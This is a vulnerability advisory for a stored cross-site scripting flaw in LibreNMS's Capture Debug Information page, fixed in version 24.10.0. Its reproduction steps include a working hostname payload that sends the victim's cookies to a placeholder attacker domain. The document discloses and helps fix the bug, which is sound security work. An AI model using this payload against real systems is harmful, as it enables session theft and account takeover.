Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Capture Debug Information” page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the hostname parameter when creating a new device. When a user visits the Capture Debug Information page for that device, the payload triggers, redirecting the browser to an attacker-controlled domain with the victim’s non-httponly cookies.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0, specifically in librenms/includes/html/pages/device/capture.inc.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create a new device with the following payload as the Hostname (
hostname):test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie" -
Save the device.
-
Navigate to the Capture Debug Information page for that device.
-
Observe that your browser is redirected to the attacker-controlled URL, including your cookies.
Expected result:
The browser redirects to
https://<attacker_domain>/logger.php?c=<your_cookie>
demonstrating that non-httponly cookies were sent to the attacker-controlled domain.
Remediation
Fixed in LibreNMS 24.10.0 by properly escaping the hostname parameter in capture.inc.php, ensuring user-supplied values are HTML-encoded before rendering.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
